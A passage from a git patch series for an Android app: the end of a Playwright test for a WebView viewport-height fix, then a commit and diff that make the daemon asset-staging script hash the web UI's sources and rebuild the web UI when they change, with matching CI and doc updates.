(Tailwind then spaces the operators out itself, so the class name is not the +// CSS), a vh term after a percentage, Tailwind's '!' (important), vmin, a custom property whose name has digits and +// "vh" in it, and the named utilities. One class's rule is in a stylesheet from another origin, which a page script +// cannot read. `pad` is the 4px padding and 1px border of the picker's menu, which is all that was left of it at +// height 0. +const OTHER_ORIGIN_CSS = 'http://other-origin.test/utilities.css' +const PAGE = `
+
+
+
+
+
+
+
+
+
+
+
+
+
+
` +const OTHER_ORIGIN_RULES = '@layer utilities { .h-\\[calc\\(100vh_-_3rem\\)\\] { height: calc(100vh - 3rem) } }' + +const IDS = ['root', 'picker', 'h45', 'calc', 'calcSpaced', 'percent', 'important', 'unreadable', 'clamp', 'vmin', + 'varname', 'shell', 'screen', 'portal', 'reclassed'] + +// Loads PAGE in a 412x925 phone, runs HEIGHT_FIX_JS twice (onPageFinished can come twice for one page) unless js is +// null, then does what the UI does later: a Radix portal with a vh class is added, and an existing element is given +// one (React reusing an element with a new className). Heights are measured then, after the class is taken away +// again, and after a keyboard-like resize to 412x600. With `unsized`, HEIGHT_FIX_JS runs as on a page that finished +// loading before the WebView was laid out: window.innerHeight reads 0 while it runs, and then the window gets its +// height (a resize event). `signal` is the test's: a test that times out leaves this waiting where it was (a +// page.evaluate whose promise never settles), so its finally never closes Chromium, and an open Chromium keeps +// `node --test` running. Closing it when the signal aborts ends that wait, so the run ends, the test failed by name. +async function run(zero, js, { unsized = false, signal } = {}) { + const browser = await chromium.launch(launchOptions(zero)) + const close = () => { browser.close().catch(() => {}) } + signal?.addEventListener('abort', close, { once: true }) + if (signal?.aborted) close() + try { + const page = await (await browser.newContext({ + viewport: { width: 412, height: 925 }, deviceScaleFactor: 2.625, isMobile: true, hasTouch: true, + })).newPage() + const warnings = [] + page.on('console', (m) => { if (m.type() === 'warning') warnings.push(m.text()) }) + await page.route(OTHER_ORIGIN_CSS, (route) => route.fulfill({ contentType: 'text/css', body: OTHER_ORIGIN_RULES })) + await page.setContent(PAGE, { waitUntil: 'load' }) + const vh100 = await page.evaluate(() => { + const d = document.createElement('div') + d.style.height = '100vh' + document.body.appendChild(d) + const h = d.getBoundingClientRect().height + d.remove() + return h + }) + if (unsized) { + await page.evaluate(() => { + window.realInnerHeight = Object.getOwnPropertyDescriptor(window, 'innerHeight') + Object.defineProperty(window, 'innerHeight', { get: () => 0, configurable: true, enumerable: true }) + }) + } + const first = js === null ? undefined : await page.evaluate(js) + const second = js === null ? undefined : await page.evaluate(js) + if (unsized) { + await page.evaluate(() => { + Object.defineProperty(window, 'innerHeight', window.realInnerHeight) + window.dispatchEvent(new Event('resize')) + }) + } + const decided = await page.evaluate(() => window.__turbollmHeightFix) + await page.evaluate(() => { + const portal = document.createElement('div') + portal.innerHTML = '
' + document.body.appendChild(portal) + document.getElementById('reclassed').className = 'max-h-[60vh] pad' + }) + const heights = () => page.evaluate((ids) => Object.fromEntries(ids.map((id) => + [id, document.getElementById(id).getBoundingClientRect().height])), IDS) + const at925 = await heights() + await page.evaluate(() => { document.getElementById('reclassed').className = 'pad' }) + const unclassed = (await heights()).reclassed + await page.setViewportSize({ width: 412, height: 600 }) + await page.waitForFunction(() => window.innerHeight === 600) + await page.evaluate(() => new Promise((r) => requestAnimationFrame(() => requestAnimationFrame(r)))) + const at600 = await heights() + const important = await page.evaluate(() => document.querySelectorAll('[style*="important"]').length) + const styles = await page.evaluate(() => document.querySelectorAll('style').length) + return { vh100, first, second, decided, warnings, at925, at600, unclassed, important, styles } + } finally { + signal?.removeEventListener('abort', close) + await browser.close() + } +} + +function sameHeights(actual, expected, what) { + for (const id of IDS) { + assert.ok(Math.abs(actual[id] - expected[id]) <= 0.5, `${what}: #${id} is ${actual[id]}px, ${expected[id]}px in plain Chromium`) + } +} + +let reference = null +const plain = async (signal) => (reference ??= await run(false, null, { signal })) + +const slow = { skip, timeout: 120_000 } + +test('in a WebView that lays the page out at its own height, HEIGHT_FIX_JS answers false and changes nothing', slow, async (t) => { + const ref = await plain(t.signal) + const r = await run(false, heightFixJs(), { signal: t.signal }) + assert.equal(r.vh100, 925) + assert.equal(r.first, false, 'the first run answers false: the probe found 100vh at its real height') + assert.equal(r.second, null, 'a second run on the same page does nothing') + assert.equal(r.important, 0, 'no inline style was set') + assert.equal(r.styles, ref.styles, 'no stylesheet was added') + sameHeights(r.at925, ref.at925, '412x925') + sameHeights(r.at600, ref.at600, '412x600') + assert.equal(r.unclassed, ref.unclassed) +}) + +test('in a WebView that lays the page out at height 0, HEIGHT_FIX_JS answers true and every height is as in Chromium', slow, async (t) => { + const ref = await plain(t.signal) + const r = await run(true, heightFixJs(), { signal: t.signal }) + assert.equal(r.vh100, 0, 'the host lays the page out at height 0 (100vh measures 0 before HEIGHT_FIX_JS runs)') + assert.equal(r.first, true, 'the first run answers true, which onPageFinished logs') + assert.equal(r.second, null, 'a second run on the same page does nothing') + assert.equal(r.styles, ref.styles + 1, 'one stylesheet for the named utilities, however many times it ran') + // The model picker's menu was 10px (its padding and border) with max-height min(0px, …). + assert.equal(Math.round(r.at925.picker), 555) + sameHeights(r.at925, ref.at925, '412x925') + sameHeights(r.at600, ref.at600, '412x600, after a resize') + assert.equal(r.unclassed, ref.unclassed, 'a class taken away takes its height with it') +}) + +test('on a page that loaded before the WebView had a height, HEIGHT_FIX_JS decides at the first resize that gives it one', slow, async (t) => { + const ref = await plain(t.signal) + const sized = await run(false, heightFixJs(), { unsized: true, signal: t.signal }) + assert.equal(sized.first, null, 'no answer while the window has no height') + assert.equal(sized.second, null) + assert.equal(sized.decided, false, 'the probe ran once the window had its height, and found 100vh real') + assert.equal(sized.important, 0) + assert.equal(sized.styles, ref.styles) + assert.deepEqual(sized.warnings, []) + sameHeights(sized.at925, ref.at925, 'own height, 412x925') + + const zero = await run(true, heightFixJs(), { unsized: true, signal: t.signal }) + assert.equal(zero.first, null, 'no answer while the window has no height') + assert.equal(zero.second, null) + assert.equal(zero.decided, true, 'the probe ran once the window had its height, and found 100vh at 0px') + assert.equal(zero.warnings.length, 1, 'onPageFinished has had its answer, so the page logs the warning itself') + assert.match(zero.warnings[0], /^100vh is 0px in this WebView/) + assert.equal(Math.round(zero.at925.picker), 555) + sameHeights(zero.at925, ref.at925, 'height 0, 412x925') + sameHeights(zero.at600, ref.at600, 'height 0, 412x600, after a resize') +}) From 31f6a33a1227b5086c900dd57eeb707f661160cc Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 12:08:44 +0000 Subject: [PATCH 65/80] fix(android): an APK never carries a web UI older than its checkout The APK carries turbollm/src/webdist, the web UI's build output, which git does not hold. stage-daemon-assets.mjs rebuilt the daemon bundle on every Android build but copied webdist as it found it, so an APK built after a pull or a branch switch paired the new daemon with whatever web UI was last built in that checkout, and nothing said so: with TurboLLM at b0e8455 and a web change made after the last web build, staging exited 0 and the APK's assets lacked the change. The docs said to run `npm run build` in turbollm/web "when the UI changes", which someone pulling other people's commits cannot know, and with no web UI at all the script's hint named turbollm/web, which in a TurboLLM clone is TurboLLM/turbollm/web. Older bug: origin/main has it (the script has copied webdist as found since it was added, 985e125). - scripts/stage-daemon-assets.mjs: after the daemon bundle it hashes the web build's inputs, SHA-256 over every file under turbollm/web/ but node_modules, dot-directories, test and report output and the .DS_Store, Thumbs.db and desktop.ini a desktop leaves: each file's '/'-joined relative path, length and bytes, sorted by path in code units, so every platform hashes a tree alike. A symlink to a file counts as that file; a dangling one, or one to a directory, is skipped and never followed, and so is a file or folder that goes away while it hashes (an editor's safe write moves the file it saves aside for a moment). On Windows a folder listing calls every reparse point a link (libuv types an entry by FILE_ATTRIBUTE_REPARSE_POINT alone), a OneDrive folder or file too, so an entry listed as a link is lstat'ed, and one that is not a symlink or junction counts as the folder or file it is. The hash is compared with build-inputs.json in webdist (no leading dot: AGP leaves dotfiles out of the assets). When that stamp is missing or differs, and web/node_modules is what web/package-lock.json asks for (every locked version installed, as npm's node_modules/.package-lock.json records, optional packages for other platforms aside), it removes the stamp and runs `npm run build` in turbollm/web, what TurboLLM's build:web runs after its npm ci, through the shell as the `npx tsup` step does. It then checks that the build wrote webdist/index.html (a build whose output went elsewhere would leave the old UI there), and writes the stamp with the hash taken before the build, so a failed build leaves no stamp and a file saved during the build makes the next one build again. When web/node_modules is missing or out of date it stops instead and names the command to run, with the folder it was given, whatever the layout: npm --prefix "/web" ci. The old "run: npm run build in turbollm/web" hint goes with the case it covered. The steps run only when it is run as a script, so the test can import the check. - .github/workflows/pr-alpha.yml: installs the web UI's packages and leaves the build to staging. Its own build would leave no stamp, so staging would build the web UI a second time on every alpha run (about 40 s); now it is built once, as before. - BUILDING-ENGINES.md, RELEASING.md, composeApp/build.gradle.kts (a comment): say when the web UI is built, and that the app never needs it built by hand. Behaviour change: an Android build builds the web UI (40-55 s) when turbollm/web is not what staging last built it from: the first build after this change (no stamp yet), after a pull or a branch switch that changed web/, and after a web UI built by hand (vite's emptyOutDir removes the stamp). With nothing changed it costs the hash, under 50 ms (25-36 ms here for web/'s 466 files). A build that has to build the web UI stops when turbollm/web/node_modules is missing or does not match the lockfile; a build that does not have to build it does not read web/node_modules. The APK's assets carry daemon/dist/webdist/build-inputs.json (a hash and a file count), which the daemon also serves at /build-inputs.json. Tests: scripts/stage-daemon-assets.test.mjs (new, node --test, on a stand-in turbollm checkout in a temp folder): "a web UI built from web/ as it is now is not built again", "a changed file under web/ builds the web UI again, then stamps it", "a web UI with no stamp, or a stamp of another kind, is built again", "a web build that fails, or that a change overtakes, is built again next time", "a web build that writes no index.html into webdist fails, and stamps nothing", "missing or mismatched web/node_modules stops with the command to run, and builds nothing", "a dangling symlink, a symlink to a folder, packages, caches and test output are not web build inputs", "a file or folder that goes away while web/ is hashed is left out, not an error", "folders and files that Windows lists as links but are not (OneDrive placeholders) are web build inputs" (each listed with the Dirent type Node gives a reparse point on Windows), "the inputs hash is the same on every run, whatever order the files were made in" (with names whose code-unit order is not a locale's), and, running the whole script as Gradle does from a copy in a temp app checkout, with a stand-in tsup and a web/ whose `npm run build` is a small node script (skipped on Windows, and stopped after 120 s), "the staging script builds a web UI older than web/ before it stages it, and only then" and "the staging script stops with the command to run when web/node_modules is missing". The stand-in web builds take under a millisecond, so each dates the index.html it writes after the last one's, as a real build's is: where timestamps step by a clock tick (Linux before 6.13) or by a second, the new index.html could have the old one's mtime and inode. With the script as it was the file fails to load (none of the check exists), and the last two, run on their own, fail: the old script staged the web UI built before the change ('version 0') and exited 0 without web/node_modules. Without the lstat, the Windows one hashes 4 of the 6 files. No existing test changed. Also checked on a git archive of TurboLLM b0e8455 with its packages: a web change made after the last web build is missing from the staged assets with the old script (exit 0, 1.1 s) and there with this one, which built the web UI first (38.5 s). The next staging says "web UI up to date" and takes 1.1-1.3 s, as before; a later change, or a web UI with no stamp, builds again (40 s); with web/node_modules moved away, or a lockfile asking for vite 9.9.9, it stops with the npm ci command. Building the real web UI adds nothing under web/ that counts (466 files, the same hash before and after). Listed as Windows lists the entries of a folder OneDrive keeps, web/ hashes the same 466 files and an edit to src/App.tsx changes the hash (without the lstat: 7 files, and the edit went unseen). The test file also passes on an ext4 file system with 1 s timestamps, where five of its tests failed before. pr-alpha.yml cannot run here: its staging now runs the same `npm run build` in the same folder its own step ran. --- .github/workflows/pr-alpha.yml | 10 +- BUILDING-ENGINES.md | 24 +- RELEASING.md | 17 +- composeApp/build.gradle.kts | 4 +- scripts/stage-daemon-assets.mjs | 360 +++++++++++++++++++----- scripts/stage-daemon-assets.test.mjs | 396 +++++++++++++++++++++++++++ 6 files changed, 715 insertions(+), 96 deletions(-) create mode 100644 scripts/stage-daemon-assets.test.mjs diff --git a/.github/workflows/pr-alpha.yml b/.github/workflows/pr-alpha.yml index 6847934..a9fad22 100644 --- a/.github/workflows/pr-alpha.yml +++ b/.github/workflows/pr-alpha.yml @@ -92,13 +92,15 @@ jobs: - name: Fetch libnode (nodejs-mobile ${{ env.NODEJS_MOBILE_VERSION }}, digidem 16 KB build) run: node scripts/fetch-libnode.mjs - # Daemon + web UI. stage-daemon-assets.mjs rebuilds the Android daemon bundle itself but - # deliberately not the web UI, so that is built here first (into turbollm/src/webdist). - - name: Build the TurboLLM web UI and install daemon deps + # Daemon + web UI packages. stage-daemon-assets.mjs builds both itself: the Android daemon + # bundle every time, and the web UI (into turbollm/src/webdist) whenever web/ is not what it + # was last built from there, which on this fresh checkout is always. A web build here would + # leave no record of its sources, so staging would build it a second time. + - name: Install the TurboLLM daemon and web UI packages working-directory: turbollm-src/turbollm run: | npm ci - (cd web && npm ci && npm run build) + (cd web && npm ci) - name: Materialise signing + Play credentials env: diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index a278367..22600aa 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -16,11 +16,12 @@ paste into a search box in three months. ## What you actually need to do - **Just building the app?** Nothing special — `./gradlew assembleDebug` stages the Node - daemon into the APK for you (`stageDaemonAssets`). It only needs the `turbollm` checkout - beside this repo, or `-Pturbollm.dir=`. See - [the daemon payload](#the-daemon-payload--what-makes-the-apk-self-sufficient) — read that - before touching anything about how the daemon is packaged, because the failure mode is an - APK that builds and installs cleanly and then dies at first launch. + daemon into the APK for you (`stageDaemonAssets`), and builds the web UI again first + whenever `turbollm/web` has changed since its last build. It only needs the `turbollm` + checkout beside this repo, or `-Pturbollm.dir=`, with `npm ci` run in it and in its + `web/`. See [the daemon payload](#the-daemon-payload--what-makes-the-apk-self-sufficient) + — read that before touching anything about how the daemon is packaged, because the failure + mode is an APK that builds and installs cleanly and then dies at first launch. - **Shipping a new CPU engine?** You don't build it by hand. Bump `LLAMA_BUILD` in `turbollm/src/engines/download.ts`, push to `main`, and the [`android-llama-build.yml`](../.github/workflows/android-llama-build.yml) workflow @@ -67,8 +68,17 @@ The script expects the `turbollm` checkout as a sibling of this repo. If it live ``` It rebuilds the daemon bundle every time (~200 ms) rather than trusting what is on disk, so the -APK can never ship a daemon older than the source. It does **not** rebuild the web UI — that is -slower and changes less often, so run `npm run build` in `turbollm/web` when the UI changes. +APK can never ship a daemon older than the source. The web UI (`turbollm/src/webdist`, which git +does not hold) takes 40-55 s to build, so the script builds it only when `turbollm/web` is not +what it was last built from: it hashes every file under `web/` but `node_modules`, +dot-directories and test output (under 50 ms) and compares that with `build-inputs.json`, the +stamp it writes into `webdist` after each web build it runs. When they differ (after a pull or a +branch switch, or when the web UI was built by hand, which leaves no stamp) it runs +`npm run build` in `turbollm/web` before staging, so an APK never carries a web UI older than its +checkout. **You never need to build the web UI yourself for the app.** It does need +`turbollm/web/node_modules` as `turbollm/web/package-lock.json` has it: when that is missing or +out of date the build stops and names the command to run, `npm --prefix "/web" ci`. +`node --test scripts/stage-daemon-assets.test.mjs` covers the check on a stand-in checkout. ### Why the payload is built specially instead of just copying `dist/` diff --git a/RELEASING.md b/RELEASING.md index c9ac002..44c2069 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -45,8 +45,9 @@ The script refuses to overwrite an existing keystore for the same reason. ``` That single command also stages the Node daemon into the APK (`stageDaemonAssets`), which -rebuilds the daemon bundle from the `turbollm` checkout first. If turbollm is not a sibling -directory, pass `-Pturbollm.dir=`. +rebuilds the daemon bundle from the `turbollm` checkout first, and its web UI too whenever +`turbollm/web` has changed since the web UI was last built there (BUILDING-ENGINES.md, "The +daemon payload"). If turbollm is not a sibling directory, pass `-Pturbollm.dir=`. Use `:composeApp:assembleRelease` instead if you want an installable `.apk` (for sideloading a beta build); Play takes the `.aab`. @@ -185,12 +186,12 @@ still on Gradle 8.x. Revisit the version once the toolchain itself moves to Grad `.github/workflows/pr-alpha.yml` builds a signed release bundle and runs `publishReleaseBundle` against the **alpha** track on every PR open / push / reopen (markdown-only changes and fork PRs are skipped; a newer push cancels an in-flight build for the same PR). It fetches the TurboLLM -daemon from `mohitsoni48/TurboLLM@main`, builds its web UI, fetches `libnode.so` with -`scripts/fetch-libnode.mjs` (the digidem 16 KB-aligned nodejs-mobile build, verified against the -SHA-256s in the script and PROVENANCE.md), stages the LiteRT-LM engine from PyPI, and uses the -tracked CPU llama.cpp engine in `jniLibs/`. The Vulkan engine is not built in CI. Because the daemon -comes from TurboLLM `main`, a PR here that needs daemon changes builds a working alpha only once -those daemon changes are merged. +daemon from `mohitsoni48/TurboLLM@main` and installs its packages (staging builds its web UI), +fetches `libnode.so` with `scripts/fetch-libnode.mjs` (the digidem 16 KB-aligned nodejs-mobile build, +verified against the SHA-256s in the script and PROVENANCE.md), stages the LiteRT-LM engine from +PyPI, and uses the tracked CPU llama.cpp engine in `jniLibs/`. The Vulkan engine is not built in CI. +Because the daemon comes from TurboLLM `main`, a PR here that needs daemon changes builds a working +alpha only once those daemon changes are merged. Secrets live in the **`play-alpha` environment** (Settings → Environments), not as repo secrets. That environment requires the owner's approval for every run, `main` requires an owner-approved PR (`.github/CODEOWNERS`), and fork PRs never get secrets. Already created: diff --git a/composeApp/build.gradle.kts b/composeApp/build.gradle.kts index 4419371..45e78f3 100644 --- a/composeApp/build.gradle.kts +++ b/composeApp/build.gradle.kts @@ -395,7 +395,9 @@ tasks.matching { it.name == "generateReleasePlayResources" }.configureEach { // through whenever Gradle skipped straight to the merge. // // The staged directory is gitignored build output; the script rebuilds the daemon bundle each -// time (~200 ms) so the APK can never ship a daemon older than the source. +// time (~200 ms) so the APK can never ship a daemon older than the source, and the web UI +// whenever turbollm/web is not what it was last built from, so it never ships an older web UI +// either (a web build takes 40-55 s; checking costs a hash of web/, under 50 ms). val stagedDaemonAssets = layout.projectDirectory.dir("src/androidMain/assets/daemon") val stageDaemonAssets by tasks.registering(Exec::class) { diff --git a/scripts/stage-daemon-assets.mjs b/scripts/stage-daemon-assets.mjs index 1045112..0b8f2d0 100644 --- a/scripts/stage-daemon-assets.mjs +++ b/scripts/stage-daemon-assets.mjs @@ -20,101 +20,309 @@ // daemon/package.json {"type":"module","version":…} — without the type // Node reads the ESM bundle as CommonJS and dies on // `import`; the version is what the daemon reports -// daemon/dist/… the bundle + android-preload.cjs + webdist/ +// daemon/dist/… the bundle + android-preload.cjs + webdist/ (with +// build-inputs.json, the stamp of the web/ files it +// was built from) // daemon/node_modules/sql.js/… NOT bundled on purpose: sql.js resolves its own // .wasm relative to its package dir at runtime // // Usage: node scripts/stage-daemon-assets.mjs [path-to-turbollm-checkout] import { execSync } from 'node:child_process' -import { cpSync, existsSync, mkdirSync, rmSync, writeFileSync, readFileSync, readdirSync, statSync } from 'node:fs' +import { createHash } from 'node:crypto' +import { + cpSync, existsSync, lstatSync, mkdirSync, realpathSync, rmSync, writeFileSync, readFileSync, readdirSync, statSync, +} from 'node:fs' import { dirname, join, resolve } from 'node:path' import { fileURLToPath } from 'node:url' -const appRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..') -const turbollm = resolve(process.argv[2] ?? join(appRoot, '..', 'turbollm')) -const assets = join(appRoot, 'composeApp', 'src', 'androidMain', 'assets', 'daemon') +// ── The web UI ──────────────────────────────────────────────────────────────────────────── +// +// The APK carries turbollm/src/webdist, the web UI's build output, which nothing in git holds. +// Copied as found, an APK built after a pull or a branch switch paired the daemon it had just +// bundled with whatever web UI was last built in that checkout, with no sign of it anywhere. +// So the web UI is built again here whenever the files it is built from are not the ones it was +// last built from here: a hash of them is kept in webdist/build-inputs.json (a name without a +// leading dot, which AGP would leave out of the APK's assets). A build with nothing changed under +// web/ costs that hash, under 50 ms; one with a change costs a web build, 40-55 s. + +/** The stamp in webdist: the web/ files the web UI there was built from. */ +export const WEB_STAMP = 'build-inputs.json' +const STAMP_VERSION = 1 -const bundle = join(turbollm, 'dist-android') -const webdist = join(turbollm, 'src', 'webdist') -const preload = join(turbollm, 'src', 'util', 'android-preload.cjs') -// Only the Node build of sql.js. The package also carries asm.js and browser variants plus -// debug builds — 24 MB in total, against ~1 MB for the two files actually loaded here. -const sqlJs = join(turbollm, 'node_modules', 'sql.js') +// What the web build reads is every file under web/ (Tailwind builds its CSS from the class names +// in all of them, tests included, and vite reads web/.env*), except its packages, which +// web/package-lock.json stands for; dot-directories (vite's and other caches); what the test runs +// write; and the files a desktop puts in folders it shows. +const NOT_INPUT_DIRS = new Set(['test-results', 'playwright-report', 'blob-report', 'coverage']) +const NOT_INPUT_FILES = new Set(['.DS_Store', 'Thumbs.db', 'desktop.ini']) -if (!existsSync(turbollm)) { - console.error(`FATAL: no turbollm checkout at ${turbollm}\nPass its path: node scripts/stage-daemon-assets.mjs `) - process.exit(1) +/** A SHA-256 over every web build input under [web]: its path relative to web/ with '/' between + * names, its length and its bytes, in the code-unit order of the paths, so Windows, macOS and + * Linux hash the same tree alike. A symlink to a file counts as that file; a dangling one, and a + * symlink to a directory, are left alone (the walk never follows one). On Windows, what a folder + * listing calls a link is any reparse point, which a OneDrive folder or file is too: lstat tells + * the links from those, and those count as the folder or file they are. A file or folder that goes + * away while the hash is taken (an editor's safe write moves the file it saves aside for a moment) + * is left out rather than failing the build: that only changes the hash, so the worst it can do is + * cost a web build. */ +export function webInputs(web) { + const files = [] + const walk = (dir, rel) => { + let entries + try { + entries = readdirSync(dir, { withFileTypes: true }) + } catch (e) { + if (rel && e.code === 'ENOENT') return + throw e + } + for (const e of entries) { + const path = join(dir, e.name) + const name = rel ? `${rel}/${e.name}` : e.name + // On Windows a listing types every reparse point as a link (libuv's scandir looks only at + // FILE_ATTRIBUTE_REPARSE_POINT), and so a OneDrive folder or file (a cloud files placeholder), + // a deduplicated file and the like say "link" too. Taken for links, every folder of sources in + // a OneDrive-synced checkout was skipped and a change in one went unseen. lstat calls only + // symlinks and junctions links and reports the rest as the folder or file they are. An entry + // lstat cannot read is handled as a link, as before. + let type = e + if (e.isSymbolicLink()) { + try { + type = lstatSync(path) + } catch {} + } + if (type.isSymbolicLink()) { + let target + try { + target = statSync(path) + } catch { + continue + } + if (target.isFile()) files.push([name, path]) + } else if (type.isDirectory()) { + if (e.name === 'node_modules' || e.name.startsWith('.') || (!rel && NOT_INPUT_DIRS.has(e.name))) continue + walk(path, name) + } else if (type.isFile() && !NOT_INPUT_FILES.has(e.name)) { + files.push([name, path]) + } + } + } + walk(web, '') + files.sort(([a], [b]) => (a < b ? -1 : a > b ? 1 : 0)) + const hash = createHash('sha256') + let hashed = 0 + for (const [name, path] of files) { + let bytes + try { + bytes = readFileSync(path) + } catch (e) { + if (e.code === 'ENOENT') continue + throw e + } + hash.update(`${name}\0${bytes.length}\0`) + hash.update(bytes) + hashed++ + } + return { hash: hash.digest('hex'), files: hashed } } -// Always rebuild the Android bundle rather than reusing whatever is on disk. It takes ~200 ms, -// and the alternative is the failure mode this whole pipeline exists to prevent: an APK that -// looks fine and silently ships a daemon older than the source. The web UI is NOT rebuilt here — -// that one is slow, changes far less often, and has its own `npm run build` in web/. -console.log('building the Android daemon bundle…') -try { - execSync('npx tsup --config tsup.android.config.ts', { cwd: turbollm, stdio: 'inherit' }) -} catch { - console.error(`FATAL: the Android daemon bundle failed to build in ${turbollm}`) - process.exit(1) +/** Why the web UI in [webdist] is not the build of [inputs], or null when it is. */ +function webStale(webdist, inputs) { + if (!existsSync(join(webdist, 'index.html'))) return 'there is no web UI build' + let stamp + try { + stamp = JSON.parse(readFileSync(join(webdist, WEB_STAMP), 'utf8')) + } catch { + return 'the web UI build there has no record of what it was built from' + } + if (stamp?.version !== STAMP_VERSION || stamp.inputs !== inputs.hash) { + const then = stamp?.files ?? '?' + return `web/ has changed since the web UI was last built here (${then} files then, ${inputs.files} now)` + } + return null } -for (const [label, p] of [ - ['android bundle', bundle], - ["web UI (run: npm run build in turbollm/web)", webdist], - ['android preload', preload], - ['sql.js (run: npm install in turbollm)', sqlJs], -]) { - if (!existsSync(p)) { - console.error(`FATAL: missing ${label}: ${p}`) - process.exit(1) +/** Why web/node_modules is not what web/package-lock.json asks for, or null when it is. npm + * records what it installed in node_modules/.package-lock.json; every version there must be the + * lockfile's, and every package the lockfile has must be there, but for an optional one (another + * platform's esbuild or rollup binary). A pulled lockfile change built with the old packages would + * ship a UI built from other packages under a stamp that names the new ones. */ +export function webDepsProblem(web) { + const nodeModules = join(web, 'node_modules') + if (!existsSync(nodeModules)) return 'web/node_modules is missing' + let locked, installed + try { + locked = JSON.parse(readFileSync(join(web, 'package-lock.json'), 'utf8')).packages ?? {} + } catch { + return 'web/package-lock.json cannot be read' + } + try { + installed = JSON.parse(readFileSync(join(nodeModules, '.package-lock.json'), 'utf8')).packages ?? {} + } catch { + return 'web/node_modules has no record of what npm installed there (node_modules/.package-lock.json)' } + for (const [key, want] of Object.entries(locked)) { + if (!key.startsWith('node_modules/')) continue // web/ itself, or a linked folder + const name = key.slice(key.lastIndexOf('node_modules/') + 'node_modules/'.length) + const have = installed[key] + if (!have) { + if (want.optional || want.devOptional) continue + return `${name} ${want.version} is in web/package-lock.json but not in web/node_modules` + } + if (have.version !== want.version) { + return `web/node_modules has ${name} ${have.version}, web/package-lock.json ${want.version}` + } + } + return null } -rmSync(assets, { recursive: true, force: true }) -mkdirSync(join(assets, 'dist'), { recursive: true }) - -cpSync(bundle, join(assets, 'dist'), { recursive: true }) -cpSync(webdist, join(assets, 'dist', 'webdist'), { recursive: true }) -cpSync(preload, join(assets, 'dist', 'android-preload.cjs')) - -// sql.js's JS ends up bundled (the Android pass bundles everything), but its .wasm cannot be — -// it is a binary the module loads at runtime via `__dirname + "/sql-wasm.wasm"`. The banner in -// tsup.android.config.ts points `__dirname` at this dist/ directory, so the wasm goes here -// rather than into a node_modules tree. Only the wasm is needed; the package's other 23 MB is -// asm.js, browser and debug variants. -cpSync(join(sqlJs, 'dist', 'sql-wasm.wasm'), join(assets, 'dist', 'sql-wasm.wasm')) - -// `ws` is reached through a real runtime `require('ws')` (registerTerminalWs), not a static -// import, so esbuild cannot bundle it and it has to exist as a resolvable package — Node walks -// up from dist/ and finds daemon/node_modules/. It is the ONLY such case that matters here: -// the source has exactly three bare requires — 'net' (a builtin), 'node-pty' (native, and only -// reached by the Code feature, which is cut from Android) and this one. `ws` itself has no -// runtime dependencies, so copying the package alone is sufficient. -const wsSrc = join(turbollm, 'node_modules', 'ws') -if (!existsSync(wsSrc)) { - console.error(`FATAL: missing ws: ${wsSrc}`) - process.exit(1) +// `npm run build` in web/: what TurboLLM's build:web runs once web/'s packages are in (`cd web && +// npm ci && npm run build`), without the npm ci, which needs the network and whose job +// webDepsProblem has just checked. Through the shell, like `npx tsup` below: that is what finds +// npm.cmd on Windows, and the command holds no path that would need quoting. +function npmRunBuild(web) { + execSync('npm run build', { cwd: web, stdio: 'inherit' }) } -cpSync(wsSrc, join(assets, 'node_modules', 'ws'), { recursive: true }) - -// The daemon bundle is ESM. Node decides that by walking up for the nearest package.json, -// and once extracted to filesDir there is no other one above it. It is also where the daemon -// reads its own version (cli.ts: `/../package.json`) — without one it fell back -// to '0.1.1' in the UI, telemetry, Turbo Link hello and the update check on every Android install. -const { version } = JSON.parse(readFileSync(join(turbollm, 'package.json'), 'utf8')) -if (typeof version !== 'string' || !version) { - console.error(`FATAL: no version in ${join(turbollm, 'package.json')}`) - process.exit(1) + +/** Builds the web UI in [turbollm] (into src/webdist, where web/'s vite config puts it) unless it + * is the build of web/ as it is now, then stamps it. Answers whether it built. Throws, with what + * to do, when web/node_modules does not match its lockfile or the build fails. */ +export function ensureWebUi(turbollm, { build = npmRunBuild, log = console.log } = {}) { + const web = join(turbollm, 'web') + const webdist = join(turbollm, 'src', 'webdist') + if (!existsSync(join(web, 'package.json'))) throw new Error(`no web UI sources at ${web}`) + const inputs = webInputs(web) + const stale = webStale(webdist, inputs) + if (!stale) { + log(`web UI up to date (built from these ${inputs.files} files under web/)`) + return false + } + const deps = webDepsProblem(web) + if (deps) { + throw new Error( + `the web UI has to be built, as ${stale}, but ${deps}.\n` + + `Install web/'s packages, then build the app again:\n npm --prefix "${web}" ci`, + ) + } + log(`building the web UI: ${stale}…`) + // Gone before the build starts, so an interrupted or failed build leaves no stamp vouching for it. + rmSync(join(webdist, WEB_STAMP), { force: true }) + const index = join(webdist, 'index.html') + const before = statSync(index, { throwIfNoEntry: false }) + try { + build(web) + } catch { + throw new Error(`the web UI failed to build in ${web} (its output is above)`) + } + // The build has to have written index.html here: one whose output went elsewhere (web/'s vite + // config moved its outDir, or its build script changed) would leave the old web UI in place, + // and the stamp would then vouch for it. A new index.html shows by its mtime: a real web build + // takes far longer than any file system's timestamp step (the inode can be the old file's). + const after = statSync(index, { throwIfNoEntry: false }) + if (!after || (before && after.mtimeMs === before.mtimeMs && after.ino === before.ino)) { + throw new Error(`the web UI build did not write ${index}`) + } + // The hash from before the build: a file changed while it ran makes the next build build again. + const stamp = { version: STAMP_VERSION, inputs: inputs.hash, files: inputs.files } + writeFileSync(join(webdist, WEB_STAMP), `${JSON.stringify(stamp)}\n`) + return true } -writeFileSync(join(assets, 'package.json'), `${JSON.stringify({ type: 'module', version })}\n`) -function du(dir) { - let total = 0 - for (const e of readdirSync(dir, { withFileTypes: true })) { - const p = join(dir, e.name) - total += e.isDirectory() ? du(p) : statSync(p).size +function main() { + const appRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..') + const turbollm = resolve(process.argv[2] ?? join(appRoot, '..', 'turbollm')) + const assets = join(appRoot, 'composeApp', 'src', 'androidMain', 'assets', 'daemon') + + const bundle = join(turbollm, 'dist-android') + const webdist = join(turbollm, 'src', 'webdist') + const preload = join(turbollm, 'src', 'util', 'android-preload.cjs') + // Only the Node build of sql.js. The package also carries asm.js and browser variants plus + // debug builds — 24 MB in total, against ~1 MB for the two files actually loaded here. + const sqlJs = join(turbollm, 'node_modules', 'sql.js') + + if (!existsSync(turbollm)) { + 